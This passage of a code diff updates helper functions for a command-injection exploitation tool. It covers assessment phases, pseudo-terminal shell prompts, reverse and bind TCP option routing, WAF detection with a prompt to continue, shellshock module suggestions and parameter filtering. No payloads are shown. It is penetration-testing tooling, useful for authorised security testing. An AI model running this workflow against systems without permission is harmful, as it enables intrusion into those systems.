None) - except socket.gaierror: - err_msg = "Host '" + hostname + "' does not exist." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - except socket.error as err: - err_msg = "Problem occurred while " - err_msg += "resolving a host name '" + hostname + "'" - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - """ Check current assessment phase. """ def assessment_phase(): - if settings.DETECTION_PHASE: - return "detection" + if settings.DETECTION_PHASE: + if settings.CRAWLING_PHASE: + return "crawling" + else: + return "detection" else: return "exploitation" -""" -Check current assessment phase. -""" -def check_injection_level(): - # Checking testable parameters for cookies - if menu.options.cookie: - if settings.COOKIE_DELIMITER in menu.options.cookie: - cookies = menu.options.cookie.split(settings.COOKIE_DELIMITER) - for cookie in cookies: - if cookie.split("=")[0].strip() in menu.options.test_parameter: - menu.options.level = 2 - elif menu.options.cookie.split("=")[0] in menu.options.test_parameter: - menu.options.level = 2 - - # Checking testable HTTP headers for user-agent / referer / host - if "user-agent" in menu.options.test_parameter or \ - "referer" in menu.options.test_parameter or \ - "host" in menu.options.test_parameter: - menu.options.level = 3 - """ Procced to the next attack vector. """ def next_attack_vector(technique, go_back): - while True: - if not menu.options.batch: - question_msg = "Continue with testing the " + technique + "? [Y/n] > " - next_attack_vector = _input(settings.print_question_msg(question_msg)) - else: - next_attack_vector = "" - if len(next_attack_vector) == 0: - next_attack_vector = "Y" - if next_attack_vector in settings.CHOICE_YES: - # Check injection state - assessment_phase() - return True - elif next_attack_vector in settings.CHOICE_NO: - return False - elif next_attack_vector in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + next_attack_vector + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass + if not settings.LOAD_SESSION: + while True: + message = "Do you want to continue with testing the " + technique + "? [y/N] > " + next_attack_vector = common.read_input(message, default="N", check_batch=True) + if next_attack_vector in settings.CHOICE_YES: + # Check injection state + assessment_phase() + return True + elif next_attack_vector in settings.CHOICE_NO: + return False + elif next_attack_vector in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(next_attack_vector) + pass """ Fix single / double quote escaping. @@ -338,8 +787,8 @@ def escaped_cmd(cmd): cmd = cmd.replace("\\\"","\"") if "\'" in cmd : cmd = cmd.replace("\'","'") - if "\$" in cmd : - cmd = cmd.replace("\$","$") + if r"\$" in cmd : + cmd = cmd.replace(r"\$","$") return cmd """ @@ -347,18 +796,39 @@ def escaped_cmd(cmd): """ def remove_empty_lines(content): try: - if content[0] == "\n": + if content[0] == "\n": content = content[1:content.rfind("\n")] if content[-1] == "\n": content = content[:content.rfind("\n")] except IndexError: - pass + pass return content +""" +Enable pseudo-terminal shell +""" +def enable_shell(url): + message = "" + if settings.LOAD_SESSION: + message = "Resumed " + message += settings.CHECKING_PARAMETER + if settings.LOAD_SESSION: + message += " injection point from stored session" + else: + message += " is vulnerable" + message += ". Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + if settings.CRAWLING: + settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) + if not settings.STDIN_PARSING: + gotshell = common.read_input(message, default="Y", check_batch=True) + else: + gotshell = common.read_input(message, default="n", check_batch=True) + return gotshell + """ Check 'os_shell' options """ -def check_os_shell_options(cmd, technique, go_back, no_result): +def check_os_shell_options(cmd, technique, go_back, no_result): if cmd in settings.SHELL_OPTIONS: if cmd == "?": menu.os_shell_options() @@ -374,16 +844,12 @@ def check_os_shell_options(cmd, technique, go_back, no_result): Procced with file-based semiblind command injection technique, once the user provides the path of web server's root directory. """ -def procced_with_file_based_technique(): +def procced_with_file_based_technique(): while True: - if not menu.options.batch: - question_msg = "Do you want to procced with the (semi-blind) " - question_msg += "file-based injection technique? [Y/n] > " - enable_fb = _input(settings.print_question_msg(question_msg)) - else: - enable_fb = "" - if len(enable_fb) == 0: - enable_fb = "Y" + message = "Due to the provided '--web-root' option," + message += " do you want to procced with the (semi-blind) " + message += "file-based injection technique? [y/N] > " + enable_fb = common.read_input(message, default="N", check_batch=True) if enable_fb in settings.CHOICE_YES: return True elif enable_fb in settings.CHOICE_NO: @@ -391,8 +857,7 @@ def procced_with_file_based_technique(): elif enable_fb in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + enable_fb + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(enable_fb) pass """ @@ -403,9 +868,9 @@ def check_reverse_tcp_options(reverse_tcp_option): return 0 elif reverse_tcp_option == "back": return 1 - elif reverse_tcp_option == "os_shell": + elif reverse_tcp_option == "os_shell": return 2 - elif reverse_tcp_option == "bind_tcp": + elif reverse_tcp_option == "bind_tcp": return 3 """ @@ -416,9 +881,9 @@ def check_bind_tcp_options(bind_tcp_option): return 0 elif bind_tcp_option == "back": return 1 - elif bind_tcp_option == "os_shell": + elif bind_tcp_option == "os_shell": return 2 - elif bind_tcp_option == "reverse_tcp": + elif bind_tcp_option == "reverse_tcp": return 3 """ @@ -426,53 +891,52 @@ def check_bind_tcp_options(bind_tcp_option): """ def continue_tests(err): # Ignoring (problematic) HTTP error codes. - if menu.options.ignore_code: - for error_code in settings.HTTP_ERROR_CODES: - if menu.options.ignore_code == error_code: - settings.WAF_ENABLED = True - return True - - # Possible WAF/IPS/IDS - if (str(err.code) == settings.FORBIDDEN_ERROR or settings.NOT_ACCEPTABLE_ERROR) and \ - not menu.options.skip_waf and \ - not settings.HOST_INJECTION : - # Check if "--skip-waf" option is defined - # that skips heuristic detection of WAF/IPS/IDS protection. - settings.WAF_ENABLED = True - warn_msg = "It seems that target is protected by some kind of WAF/IPS/IDS." - print(settings.print_warning_msg(warn_msg)) + if len(settings.IGNORE_CODE) != 0 and any(str(x) in str(err).lower() for x in settings.IGNORE_CODE): + return True + # Possible WAF/IPS try: + if (str(err.code) == settings.FORBIDDEN_ERROR or \ + str(err.code) == settings.NOT_ACCEPTABLE_ERROR) and \ + not menu.options.skip_waf and \ + not settings.HOST_INJECTION : + warn_msg = "It seems that target is protected by some kind of WAF/IPS." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.WAF_ENABLED = True + + message = "" + if str(err.code) == settings.NOT_FOUND_ERROR: + message = "It is not recommended to continue in this kind of cases. " + + if settings.START_SCANNING and settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + while True: - if not menu.options.batch: - question_msg = "Do you want to ignore the error (" + str(err.code) - question_msg += ") message and continue the tests? [Y/n] > " - continue_tests = _input(settings.print_question_msg(question_msg)) - else: - continue_tests = "" - if len(continue_tests) == 0: - continue_tests = "Y" + message += "Do you want to ignore the response HTTP error code '" + str(err.code) + message += "' and continue the tests? [Y/n] > " + continue_tests = common.read_input(message, default="Y", check_batch=True) if continue_tests in settings.CHOICE_YES: + settings.IGNORE_CODE.append(err.code) return True elif continue_tests in settings.CHOICE_NO: return False elif continue_tests in settings.CHOICE_QUIT: return False else: - err_msg = "'" + continue_tests + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(continue_tests) pass + except AttributeError: + pass except KeyboardInterrupt: - print("\n") + Back.RED + settings.ABORTION_SIGN + "Ctrl-C was pressed!" + Style.RESET_ALL - raise SystemExit() + raise """ Check if option is unavailable """ def unavailable_option(check_option): - warn_msg = "The '" + check_option + "' option " - warn_msg += "is not yet available for windows targets." - print(settings.print_warning_msg(warn_msg)) + warn_msg = "The option '" + check_option + "' " + warn_msg += "is not yet supported Windows targets." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Transformation of separators if time-based injection @@ -485,7 +949,7 @@ def time_based_separators(separator, http_request_method): return separator """ -Information message if platform does not have +Information message if platform does not have GNU 'readline' module installed. """ def no_readline_module(): @@ -493,18 +957,18 @@ def no_readline_module(): err_msg += "not have GNU 'readline' module installed." err_msg += " Download the" if settings.IS_WINDOWS: - err_msg += " 'pyreadline' module (https://pypi.python.org/pypi/pyreadline)." - else: - err_msg += " 'gnureadline' module (https://pypi.python.org/pypi/gnureadline)." - print(settings.print_critical_msg(err_msg)) + err_msg += " 'pyreadline' package (https://pypi.python.org/pypi/pyreadline) or the 'pyreadline3' package (https://pypi.python.org/pypi/pyreadline3) instead." + elif settings.PLATFORM == "mac": + err_msg += " 'gnureadline' package (https://pypi.python.org/pypi/gnureadline)." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) """ Check for incompatible OS (i.e Unix). """ def ps_incompatible_os(): - if not settings.TARGET_OS == "win": + if not settings.TARGET_OS == settings.OS.WINDOWS: warn_msg = "The identified OS seems incompatible with the provided '--ps-version' switch." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return True """ @@ -513,30 +977,22 @@ def ps_incompatible_os(): def ps_check(): if settings.PS_ENABLED == None and menu.options.is_admin or menu.options.users or menu.options.passwords: if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - warn_msg = "The payloads in some options that you " - warn_msg += "have chosen, are requiring the use of PowerShell. " - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) while True: - if not menu.options.batch: - question_msg = "Do you want to use the \"--ps-version\" option " - question_msg += "so ensure that PowerShell is enabled? [Y/n] > " - ps_check = _input(settings.print_question_msg(question_msg)) - else: - ps_check = "" - if len(ps_check) == 0: - ps_check = "Y" + message = "The payloads in some options that you " + message += "have chosen are requiring the use of powershell. " + message += "Do you want to use the \"--ps-version\" flag " + message += "to ensure that is enabled? [Y/n] > " + ps_check = common.read_input(message, default="Y", check_batch=True) if ps_check in settings.CHOICE_YES: menu.options.ps_version = True break elif ps_check in settings.CHOICE_NO: break elif ps_check in settings.CHOICE_QUIT: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - else: - err_msg = "'" + ps_check + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + raise SystemExit() + else: + common.invalid_option(ps_check) pass """ @@ -544,22 +1000,16 @@ def ps_check(): """ def ps_check_failed(): while True: - if not menu.options.batch: - question_msg = "Do you want to ignore the above warning " - question_msg += "and continue the procedure? [Y/n] > " - ps_check = _input(settings.print_question_msg(question_msg)) - else: - ps_check = "" - if len(ps_check) == 0: - ps_check = "Y" + message = "Do you want to ignore the above warning " + message += "and continue the procedure? [Y/n] > " + ps_check = common.read_input(message, default="Y", check_batch=True) if ps_check in settings.CHOICE_YES: break elif ps_check in settings.CHOICE_NO: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) os._exit(0) - else: - err_msg = "'" + ps_check + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + else: + common.invalid_option(ps_check) pass """ @@ -570,34 +1020,31 @@ def check_CGI_scripts(url): CGI_SCRIPTS = [] if not os.path.isfile(settings.CGI_SCRIPTS ): err_msg = "The pages / scripts list (" + settings.CGI_SCRIPTS + ") is not found" - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() if len(settings.CGI_SCRIPTS ) == 0: err_msg = "The " + settings.CGI_SCRIPTS + " list is empty." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - with open(settings.CGI_SCRIPTS , "r") as f: + with open(settings.CGI_SCRIPTS , "r") as f: for line in f: line = line.strip() CGI_SCRIPTS.append(line) - except IOError: + except IOError: err_msg = " Check if the " + settings.CGI_SCRIPTS + " list is readable or corrupted." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() + _ = False for cgi_script in CGI_SCRIPTS: - if cgi_script in url and menu.options.shellshock == False: - warn_msg = "URL is probable to contain a script ('" + cgi_script + "') " - warn_msg += "vulnerable to shellshock. " - print(settings.print_warning_msg(warn_msg)) + if cgi_script in url: + info_msg = "Heuristic (basic) tests shows that target URL might contain a script " + info_msg += "vulnerable to shellshock. " + _ = True + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) while True: - if not menu.options.batch: - question_msg = "Do you want to enable the shellshock injection module? [Y/n] > " - shellshock_check = _input(settings.print_question_msg(question_msg)) - else: - shellshock_check = "" - if len(shellshock_check) == 0: - shellshock_check = "Y" + message = "Do you want to enable the shellshock module ('--shellshock')? [Y/n] > " + shellshock_check = common.read_input(message, default="Y", check_batch=True) if shellshock_check in settings.CHOICE_YES: menu.options.shellshock = True break @@ -605,156 +1052,289 @@ def check_CGI_scripts(url): menu.options.shellshock = False break elif shellshock_check in settings.CHOICE_QUIT: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - else: - err_msg = "'" + shellshock_check + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + raise SystemExit() + else: + common.invalid_option(shellshock_check) pass + if not _: + menu.options.shellshock = False + +def check_url(url): + try: + return _urllib.parse.urlsplit(url) + except ValueError as ex: + err_msg = "Invalid target URL has been given. " + err_msg += "Please be sure that you don't have any leftover characters (e.g. '[' or ']') " + err_msg += "in the hostname part." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() """ Check if http / https. """ def check_http_s(url): + url_split = check_url(url) + if url_split.username and url_split.password and "@" in url_split.netloc: + url = url.replace(url_split.netloc,url_split.netloc.split("@")[1]) + + if settings.SINGLE_WHITESPACE in url: + url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) + + if not menu.options.proxy and (_urllib.parse.urlparse(url).hostname in ("localhost", "127.0.0.1") or menu.options.ignore_proxy): + menu.options.ignore_proxy = True + if settings.CHECK_INTERNET: url = settings.CHECK_INTERNET_ADDRESS else: - try: - if re.search(r'^(?:http)s?://', url, re.I): - if not re.search(r"^https?://", url, re.I) and not re.search(r"^wss?://", url, re.I): - if re.search(r":443\b", url): - url = "https://" + url - else: - url = "http://" + url - settings.SCHEME = (_urllib.parse.urlparse(url).scheme.lower() or "http") if not menu.options.force_ssl else "https" - if menu.options.force_ssl and settings.VERBOSITY_LEVEL != 0: - debug_msg = "Forcing usage of SSL/HTTPS requests." - print(settings.print_debug_msg(debug_msg)) - else: - err_msg = "Invalid target URL has been given." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - except ValueError as err: - err_msg = "Invalid target URL has been given." - print(settings.print_critical_msg(err_msg)) + if re.search(r'^(?:http)s?://', url, re.I): + if not re.search(r"^(http|ws)s?://", url, re.I): + if re.search(r":443\b", url): + url = "https://" + url + else: + url = "http://" + url + settings.SCHEME = (url_split.scheme.strip().lower() or "http") if not menu.options.force_ssl else "https" + else: + err_msg = "Invalid target URL has been given. " + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() + + if _urllib.parse.urlparse(url).scheme != settings.SCHEME: + if menu.options.force_ssl and settings.VERBOSITY_LEVEL != 0: + debug_msg = "Forcing usage of SSL/HTTPS requests." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + url = url.replace(_urllib.parse.urlparse(url).scheme, settings.SCHEME) + return url - + """ -Force the user-defined operating system name. +Checking connection (resolving hostname). +""" +def check_connection(url): + hostname = _urllib.parse.urlparse(url).hostname or '' + if not re.search(r"\A\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z", hostname): + if not any((menu.options.proxy, menu.options.tor, menu.options.offline)): + try: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Resolving hostname '" + hostname + "'." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + socket.getaddrinfo(hostname, None) + except socket.gaierror: + err_msg = "Host '" + hostname + "' does not exist." + if not settings.MULTI_TARGETS: + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + except socket.error: + err_msg = "Problem occurred while " + err_msg += "resolving a host name '" + hostname + "'" + except UnicodeError: + err_msg = "Problem occurred while " + err_msg += "handling a host name '" + hostname + "'" + if not settings.MULTI_TARGETS: + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + +""" +Force the user-defined operating system. """ def user_defined_os(): if menu.options.os: if menu.options.os.lower() == "windows": - settings.TARGET_OS = "win" + settings.TARGET_OS = settings.OS.WINDOWS return True elif menu.options.os.lower() == "unix": return True else: - err_msg = "You specified wrong value '" + menu.options.os + "' " - err_msg += "as an operation system. The value, must be 'Windows' or 'Unix'." - print(settings.print_critical_msg(err_msg)) + err_msg = "You defined wrong value '" + menu.options.os + "' " + err_msg += "for operation system. The value, must be 'Windows' or 'Unix'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() """ -Decision if the user-defined operating system name, +Define the target operating system. +""" +def define_target_os(): + # If "--shellshock" option is provided then, by default is a Linux/Unix operating system. + if menu.options.shellshock: + return + else: + while True: + message = "Do you recognise the server's underlying operating system? " + message += "[(N)o/(u)nix-like/(w)indows/(q)uit] > " + got_os = common.read_input(message, default="N", check_batch=True) + if got_os.lower() in settings.CHOICE_OS : + if got_os.lower() == "u": + return + elif got_os.lower() == "w": + settings.TARGET_OS = settings.OS.WINDOWS + return + elif got_os.lower() == "n": + settings.CHECK_BOTH_OS = True + + return + elif got_os.lower() == "q": + raise SystemExit() + else: + common.invalid_option(got_os) + pass + +""" +Decision if the user-defined operating system name, is different than the one identified by heuristics. """ def identified_os(): - if not menu.options.batch: - warn_msg = "Heuristics have identified different operating system (" - warn_msg += settings.TARGET_OS + ") than that you have provided." - print(settings.print_warning_msg(warn_msg)) - question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " - proceed_option = _input(settings.print_question_msg(question_msg)) - else: - proceed_option = "" - if len(proceed_option) == 0: - proceed_option = "c" - if proceed_option.lower() in settings.CHOICE_PROCEED : - if proceed_option.lower() == "s": - return False - elif proceed_option.lower() == "c": - return True - elif proceed_option.lower() == "q": - raise SystemExit() - else: - err_msg = "'" + proceed_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass + if settings.IGNORE_IDENTIFIED_OS == None: + warn_msg = "Identified different operating system (i.e. '" + warn_msg += settings.TARGET_OS.title() + "'), than the defined (i.e. '" + menu.options.os.title() + "')." + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) + message = "How do you want to proceed? [(C)ontinue/(s)kip] > " + proceed_option = common.read_input(message, default="S", check_batch=True) + if proceed_option.lower() in settings.CHOICE_PROCEED : + if proceed_option.lower() == "c": + settings.IGNORE_IDENTIFIED_OS = True + return settings.IGNORE_IDENTIFIED_OS + elif proceed_option.lower() == "s": + settings.IGNORE_IDENTIFIED_OS = False + return settings.IGNORE_IDENTIFIED_OS + elif proceed_option.lower() == "q": + raise SystemExit() + else: + common.invalid_option(proceed_option) + pass """ -Check for third-party (non-core) libraries. +Checking all required third-party library dependencies. """ def third_party_dependencies(): - info_msg = "Checking for third-party (non-core) libraries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Checking all required third-party library dependencies." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + try: import sqlite3 except ImportError: - print(settings.SINGLE_WHITESPACE) err_msg = settings.APPLICATION + " requires 'sqlite3' third-party library " err_msg += "in order to store previous injection points and commands. " - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() try: import readline - except ImportError: + except (ImportError, AttributeError): if settings.IS_WINDOWS: try: import pyreadline except ImportError: - print(settings.SINGLE_WHITESPACE) - err_msg = settings.APPLICATION + " requires 'pyreadline' third-party library " + err_msg = "The 'pyreadline' (third-party) library is required " err_msg += "in order to be able to take advantage of the TAB " - err_msg += "completion and history support features. " - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: + err_msg += "completion and history support features." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + elif settings.PLATFORM == "posix": try: import gnureadline except ImportError: - print(settings.SINGLE_WHITESPACE) - err_msg = settings.APPLICATION + " requires 'gnureadline' third-party library " + err_msg = "The 'gnureadline' (third-party) library is required " err_msg += "in order to be able to take advantage of the TAB " - err_msg += "completion and history support features. " - print(settings.print_critical_msg(err_msg)) + err_msg += "completion and history support features." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) pass - print(settings.SINGLE_WHITESPACE) - info_msg = "All required third-party (non-core) libraries are seems to be installed." - print(settings.print_bold_info_msg(info_msg)) - """ Print the authentiation error message. """ def http_auth_err_msg(): - err_msg = "Use the '--auth-cred' option to provide a valid pair of " - err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\")" - err_msg += " or use the '--ignore-code=401' option to ignore HTTP error 401 (Unauthorized)" + err_msg = "Use the '--auth-cred' option to provide a valid pair of " + err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\")" + err_msg += " or use the '--ignore-code=401' option to ignore HTTP error 401 (Unauthorized)" err_msg += " and continue tests without providing valid credentials." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + +""" +Error while accessing session file +""" +def error_loading_session_file(): + err_msg = "An error occurred while accessing session file ('" + err_msg += settings.SESSION_FILE + "'). " + err_msg += "Use the '--flush-session' option." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() """ -Decision if the user-defined HTTP authenticatiob type, +EOFError +""" +def EOFError_err_msg(): + if settings.STDIN_PARSING: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + err_msg = "Exiting, due to EOFError." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + +""" +Message regarding unexpected time delays +""" +def time_delay_recommendation(): + warn_msg = "Due to unexpected time delays, it is highly " + warn_msg += "recommended to enable the 'reverse_tcp' option.\n" + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) + +""" +Message regarding unexpected time delays due to unstable requests +""" +def time_delay_due_to_unstable_request(timesec): + message = "Unexpected time delays that may lead to false-positive results, have been identified." + settings.print_data_to_stdout(settings.END_LINE.CR) + while True: + message = message + " How do you want to proceed? [(C)ontinue/(s)kip] > " + proceed_option = common.read_input(message, default="C", check_batch=True) + if proceed_option.lower() in settings.CHOICE_PROCEED : + if proceed_option.lower() == "c": + timesec = timesec + 1 + false_positive_fixation = True + return timesec, false_positive_fixation + elif proceed_option.lower() == "s": + false_positive_fixation = False + return timesec, false_positive_fixation + elif proceed_option.lower() == "q": + raise SystemExit() + else: + common.invalid_option(proceed_option) + pass + +""" +Time related shell condition +""" +def time_related_shell(url_time_response, exec_time, timesec): + if (url_time_response == 0 and (exec_time - timesec) >= 0) or \ + (url_time_response != 0 and (exec_time - timesec) == 0 and (exec_time == timesec)) or \ + (url_time_response != 0 and (exec_time - timesec) > 0 and (exec_time >= timesec + 1)): + return True + else: + return False + +""" +Message regarding time related attcks +""" +def time_related_attaks_msg(): + warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Check if defined "--url-reload" option. +""" +def reload_url_msg(technique): + warn_msg = "On " + technique + "technique, the '--url-reload' option is not available." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Decision if the user-defined HTTP authenticatiob type, is different than the one identified by heuristics. """ def identified_http_auth_type(auth_type): - if not menu.options.batch: - warn_msg = "Heuristics have identified different HTTP authentication type (" - warn_msg += auth_type.lower() + ") than that you have provided (" - warn_msg += menu.options.auth_type + ")." - print(settings.print_warning_msg(warn_msg)) - question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " - proceed_option = _input(settings.print_question_msg(question_msg)) - else: - proceed_option = "" - if len(proceed_option) == 0: - proceed_option = "c" + warn_msg = "Identified different HTTP authentication type (" + warn_msg += auth_type.lower() + ") than that you have provided (" + warn_msg += menu.options.auth_type + ")." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + message = "How do you want to proceed? [(C)ontinue/(s)kip] > " + proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": return False @@ -763,8 +1343,7 @@ def identified_http_auth_type(auth_type): elif proceed_option.lower() == "q": raise SystemExit() else: - err_msg = "'" + proceed_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(proceed_option) pass """ @@ -777,7 +1356,7 @@ def enable_all_enumeration_options(): menu.options.hostname = True # Retrieve system information. menu.options.sys_info = True - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: # Check if the current user have admin privileges. menu.options.is_admin = True # Retrieve PowerShell's version number. @@ -793,49 +1372,66 @@ def enable_all_enumeration_options(): menu.options.passwords = True """ -Do replacement with the 'INJECT_HERE' tag, -if the wildcard char is provided. +Check provided parameters for tests """ -def wildcard_character(data): - _ = "" - for data in data.split("\\n"): - # Ignore the Accept HTTP Header - if not data.startswith("Accept: ") and settings.WILDCARD_CHAR in data : - data = data.replace(settings.WILDCARD_CHAR, settings.INJECT_TAG) - _ = _ + data + "\\n" - data = _.rstrip("\\n") - if data.count(settings.INJECT_TAG) > 1: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - err_msg = "You specified more than one injecton markers. " - err_msg += "Use the '-p' option to define them (i.e -p \"id1,id2\"). " - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - return data +def check_provided_parameters(): + + if menu.options.test_parameter or menu.options.skip_parameter: + if menu.options.test_parameter != None : + if menu.options.test_parameter.startswith("="): + menu.options.test_parameter = menu.options.test_parameter[1:] + settings.TESTABLE_PARAMETERS_LIST = menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX) + + elif menu.options.skip_parameter != None : + if menu.options.skip_parameter.startswith("="): + menu.options.skip_parameter = menu.options.skip_parameter[1:] + settings.TESTABLE_PARAMETERS_LIST = menu.options.skip_parameter.split(settings.PARAMETER_SPLITTING_REGEX) + + for i in range(0,len(settings.TESTABLE_PARAMETERS_LIST)): + if "=" in settings.TESTABLE_PARAMETERS_LIST[i]: + settings.TESTABLE_PARAMETERS_LIST[i] = settings.TESTABLE_PARAMETERS_LIST[i].split("=")[0] """ -Skip defined +Remove skipped parameters """ -def check_skipped_params(check_parameters): - settings.TEST_PARAMETER = [x + "," for x in settings.TEST_PARAMETER] - settings.TEST_PARAMETER = [x for x in check_parameters if x not in ",".join(settings.TEST_PARAMETER).split(",")] - settings.TEST_PARAMETER = ",".join(settings.TEST_PARAMETER) +def remove_skipped_params(url, check_parameters): + testable_parameters = list(set(check_parameters) - set(menu.options.skip_parameter.split(","))) + settings.TESTABLE_PARAMETERS_LIST = [x for x in testable_parameters if x not in settings.PARAMETER_SPLITTING_REGEX.join(settings.TESTABLE_PARAMETERS_LIST).split(settings.PARAMETER_SPLITTING_REGEX)] + _ = [] + for parameter in check_parameters: + if parameter not in settings.PARAMETER_SPLITTING_REGEX.join(settings.TESTABLE_PARAMETERS_LIST).split(settings.PARAMETER_SPLITTING_REGEX): + _.append(parameter) + if _: + info_msg = "Skipping " + check_http_method(url) + " parameter" + ('', 's')[len(_) > 1] + " '" + str(", ".join(_)) + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) menu.options.test_parameter = True """ Print the non-listed parameters. """ -def print_non_listed_params(check_parameters, http_request_method, header_name): - if settings.TEST_PARAMETER: - testable_parameters = ",".join(settings.TEST_PARAMETER).replace(" ","") - testable_parameters = testable_parameters.split(",") +def testable_parameters(url, check_parameters, header_name): + + if menu.options.skip_parameter != None: + remove_skipped_params(url, check_parameters) + + _ = False + if settings.TESTABLE_PARAMETERS or [i for i in settings.TESTABLE_PARAMETERS_LIST if i in check_parameters]: + _ = True + + if settings.TESTABLE_PARAMETERS_LIST and isinstance(settings.TESTABLE_PARAMETERS_LIST, list): + testable_parameters = settings.PARAMETER_SPLITTING_REGEX.join(settings.TESTABLE_PARAMETERS_LIST).replace(settings.SINGLE_WHITESPACE, "") + testable_parameters = testable_parameters.split(settings.PARAMETER_SPLITTING_REGEX) non_exist_param = list(set(testable_parameters) - set(check_parameters)) + if _ and settings.TESTABLE_PARAMETERS != False: + settings.TESTABLE_PARAMETERS = _ + else: + settings.TESTABLE_PARAMETERS = False if non_exist_param: - non_exist_param = ",".join(non_exist_param).replace(" ","") - non_exist_param = non_exist_param.split(",") - if menu.options.level >= 2 and \ + non_exist_param = settings.PARAMETER_SPLITTING_REGEX.join(non_exist_param).replace(settings.SINGLE_WHITESPACE, "") + non_exist_param = non_exist_param.split(settings.PARAMETER_SPLITTING_REGEX) + if settings.INJECTION_LEVEL >= settings.COOKIE_INJECTION_LEVEL and \ menu.options.test_parameter != None: - if menu.options.cookie != None: + if menu.options.cookie != None: if settings.COOKIE_DELIMITER in menu.options.cookie: cookies = menu.options.cookie.split(settings.COOKIE_DELIMITER) for cookie in cookies: @@ -843,61 +1439,55 @@ def print_non_listed_params(check_parameters, http_request_method, header_name): try: non_exist_param.remove(cookie.split("=")[0].strip()) except ValueError: - pass + pass elif menu.options.cookie.split("=")[0] in menu.options.test_parameter: try: non_exist_param.remove(menu.options.cookie.split("=")[0]) except ValueError: pass - - # Remove the defined HTTP headers + + # Remove the defined HTTP headers for http_header in settings.HTTP_HEADERS: - if http_header in non_exist_param: + if http_header in non_exist_param: + settings.TESTABLE_PARAMETERS = True non_exist_param.remove(http_header) - if non_exist_param: - non_exist_param_items = ",".join(non_exist_param) - warn_msg = "Skipping tests for " - warn_msg += "the provided parameter" + "s"[len(non_exist_param) == 1:][::-1] + " '" - warn_msg += non_exist_param_items + "' as" + (' they are', ' it is')[len(non_exist_param) == 1] - if menu.options.level >= 2 and header_name != "": - warn_msg += " not part of the " - warn_msg += 